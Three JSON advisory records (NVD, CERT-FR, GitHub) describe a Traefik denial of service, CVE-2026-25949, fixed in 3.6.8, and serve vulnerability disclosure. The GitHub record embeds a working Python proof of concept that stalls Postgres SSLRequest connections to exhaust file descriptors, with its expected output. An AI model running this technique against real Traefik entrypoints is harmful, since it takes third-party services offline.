{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "05ADF4F6-5356-4E37-9CBB-0C5058E249D5",
              "versionEndExcluding": "3.6.8",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.8, there is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. This vulnerability is fixed in 3.6.8."
    },
    {
      "lang": "es",
      "value": "Traefik es un proxy inverso HTTP y un balanceador de carga. Antes de la versi\u00f3n 3.6.8, existe una posible vulnerabilidad en Traefik al gestionar solicitudes STARTTLS. Un cliente no autenticado puede eludir el respondingTimeouts.readTimeout del punto de entrada de Traefik enviando el pre\u00e1mbulo de 8 bytes de Postgres SSLRequest (STARTTLS) y luego estanc\u00e1ndose, lo que provoca que las conexiones permanezcan abiertas indefinidamente, lo que lleva a una denegaci\u00f3n de servicio. Esta vulnerabilidad se corrige en la versi\u00f3n 3.6.8."
    }
  ],
  "id": "CVE-2026-25949",
  "lastModified": "2026-02-20T18:44:41.160",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-12T20:16:11.227",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.8"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Traefik versions ant\u00e9rieures \u00e0 v3.6.8",
      "product": {
        "name": "Traefik",
        "vendor": {
          "name": "Traefik",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2026-25949",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25949"
    }
  ],
  "initial_release_date": "2026-02-12T00:00:00",
  "last_revision_date": "2026-02-12T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-0154",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-02-12T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "D\u00e9ni de service \u00e0 distance"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    }
  ],
  "summary": "Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 d\u00e9couverte dans Traefik. Elle permet \u00e0 un attaquant de provoquer un d\u00e9ni de service \u00e0 distance et un contournement de la politique de s\u00e9curit\u00e9.",
  "title": "Vuln\u00e9rabilit\u00e9 dans Traefik",
  "vendor_advisories": [
    {
      "published_at": "2026-02-12",
      "title": "Bulletin de s\u00e9curit\u00e9 Traefik GHSA-89p3-4642-cr2w",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-12T15:54:11Z",
    "nvd_published_at": "2026-02-12T20:16:11Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nThere is a potential vulnerability in Traefik managing STARTTLS requests. \n\nAn unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. \n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.\n\nThis triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router).\n\n### Details\nTraefik applies per-connection deadlines based on `entryPoints.\u003cname\u003e.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections).\n\nHowever, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:\n\n- detect Postgres SSLRequest (8-byte signature),\n- call `conn.SetDeadline(time.Time{})` (clears all deadlines),\n- then enter the Postgres STARTTLS handler (`servePostgres`).\n\nThe Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore:\n\n1. connect to any internet-exposed TCP entrypoint,\n2. send the Postgres SSLRequest (SSL negotiation request),\n3. receive Traefik\u2019s single-byte response (`S`),\n4. stop sending any further bytes.\n\n\nEach such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.\n\n_Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.\n\nTested versions:\n- `v3.6.7`\n- `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` \n\n### PoC\nPrerequisites:\n- Linux host\n- Python 3\n- A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script\u2019s `TRAEFIK_BIN` constant (edit if needed).\n\nExecute the script below:\n\u003cdetails\u003e\n\u003csummary\u003eScript (Click to expand)\u003c/summary\u003e\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport socket\nimport subprocess\nimport tempfile\nimport time\nfrom typing import Final\n\n# Hardcode the Traefik binary path. Edit as needed.\nTRAEFIK_BIN: Final[str] = \"/usr/local/sbin/traefik\"\n\nHOST: Final[str] = \"127.0.0.1\"\nPORT: Final[int] = 18080\n\nSTARTUP_SLEEP_SECS: Final[float] = 2.0\nREAD_TIMEOUT_SECS: Final[float] = 2.0\nSLEEP_SECS: Final[float] = 3.5\nN_CONNS: Final[int] = 300\n\nPOSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])\n\n\ndef fd_count(pid: int) -\u003e int:\n    return len(os.listdir(f\"/proc/{pid}/fd\"))\n\n\ndef open_idle_conns(n: int) -\u003e list[socket.socket]:\n    conns: list[socket.socket] = []\n    for _ in range(n):\n        conns.append(socket.create_connection((HOST, PORT)))\n    return conns\n\n\ndef open_postgres_sslrequest_conns(n: int) -\u003e list[socket.socket]:\n    conns: list[socket.socket] = []\n    for _ in range(n):\n        s = socket.create_connection((HOST, PORT))\n        s.settimeout(1.0)\n        s.sendall(POSTGRES_SSLREQUEST)\n        try:\n            _ = s.recv(1)  # typically b\"S\"\n        except socket.timeout:\n            pass\n        conns.append(s)\n    return conns\n\n\ndef close_all(conns: list[socket.socket]) -\u003e None:\n    for s in conns:\n        try:\n            s.close()\n        except OSError:\n            pass\n\n\ndef main() -\u003e None:\n    with tempfile.TemporaryDirectory(prefix=\"vh-traefik-f005-\") as td:\n        dyn = os.path.join(td, \"dynamic.yml\")\n        with open(dyn, \"w\", encoding=\"utf-8\") as f:\n            f.write(\n                f\"\"\"\\\nhttp:\n  routers:\n    r:\n      entryPoints: [web]\n      rule: \"PathPrefix(`/`)\"\n      service: s\n  services:\n    s:\n      loadBalancer:\n        servers:\n          - url: \"http://{HOST}:9\"\n\"\"\"\n            )\n\n        proc = subprocess.Popen(\n            [\n                TRAEFIK_BIN,\n                \"--log.level=ERROR\",\n                f\"--entryPoints.web.address=:{PORT}\",\n                f\"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s\",\n                f\"--providers.file.filename={dyn}\",\n                \"--providers.file.watch=false\",\n            ],\n            stdout=subprocess.DEVNULL,\n            stderr=subprocess.STDOUT,\n        )\n        try:\n            time.sleep(STARTUP_SLEEP_SECS)\n\n            pid = proc.pid\n            if pid is None:\n                raise RuntimeError(\"Traefik PID is None\")\n\n            ver = subprocess.check_output([TRAEFIK_BIN, \"version\"], text=True).strip()\n            print(ver)\n            print(f\"Traefik={TRAEFIK_BIN}\")\n            print(f\"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s\")\n\n            base = fd_count(pid)\n            print(f\"traefik_pid={pid} fd_base={base}\")\n\n            idle = open_idle_conns(N_CONNS)\n            fd_after_open_idle = fd_count(pid)\n            print(f\"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}\")\n            time.sleep(SLEEP_SECS)\n            fd_after_sleep_idle = fd_count(pid)\n            print(f\"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}\")\n            close_all(idle)\n\n            pg = open_postgres_sslrequest_conns(N_CONNS)\n            fd_after_open_pg = fd_count(pid)\n            print(f\"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}\")\n            time.sleep(SLEEP_SECS)\n            fd_after_sleep_pg = fd_count(pid)\n            print(f\"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}\")\n            close_all(pg)\n\n            if (fd_after_sleep_idle - base) \u003c= 5 and (fd_after_sleep_pg - base) \u003e= (N_CONNS // 2):\n                print(\"VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\")\n            else:\n                print(\"INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.\")\n        finally:\n            proc.terminate()\n            try:\n                proc.wait(timeout=3.0)\n            except subprocess.TimeoutExpired:\n                proc.kill()\n                proc.wait(timeout=3.0)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003c/details\u003e\n\n\n\u003cdetails\u003e\n\u003csummary\u003eExpected output (Click to expand)\u003c/summary\u003e\n\n```bash\nVersion:      3.6.7\nCodename:     ramequin\nGo version:   go1.24.11\nBuilt:        2026-01-14T14:04:03Z\nOS/Arch:      linux/amd64\nTraefik=/usr/local/sbin/traefik\nHost=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s\ntraefik_pid=46204 fd_base=6\nbaseline_opened=300 fd_after_open=128 delta=122\nbaseline_after_sleep fd=6 delta_from_base=0\ncandidate_opened=300 fd_after_open=306 delta=300\ncandidate_after_sleep fd=306 delta_from_base=300\nVULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\n```\n\u003c/details\u003e\n\n### Impact\nDenial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including \"web\" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.\n\n\u003c/details\u003e",
  "id": "GHSA-89p3-4642-cr2w",
  "modified": "2026-02-12T22:08:02Z",
  "published": "2026-02-12T15:54:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik: TCP readTimeout bypass via STARTTLS on Postgres"
}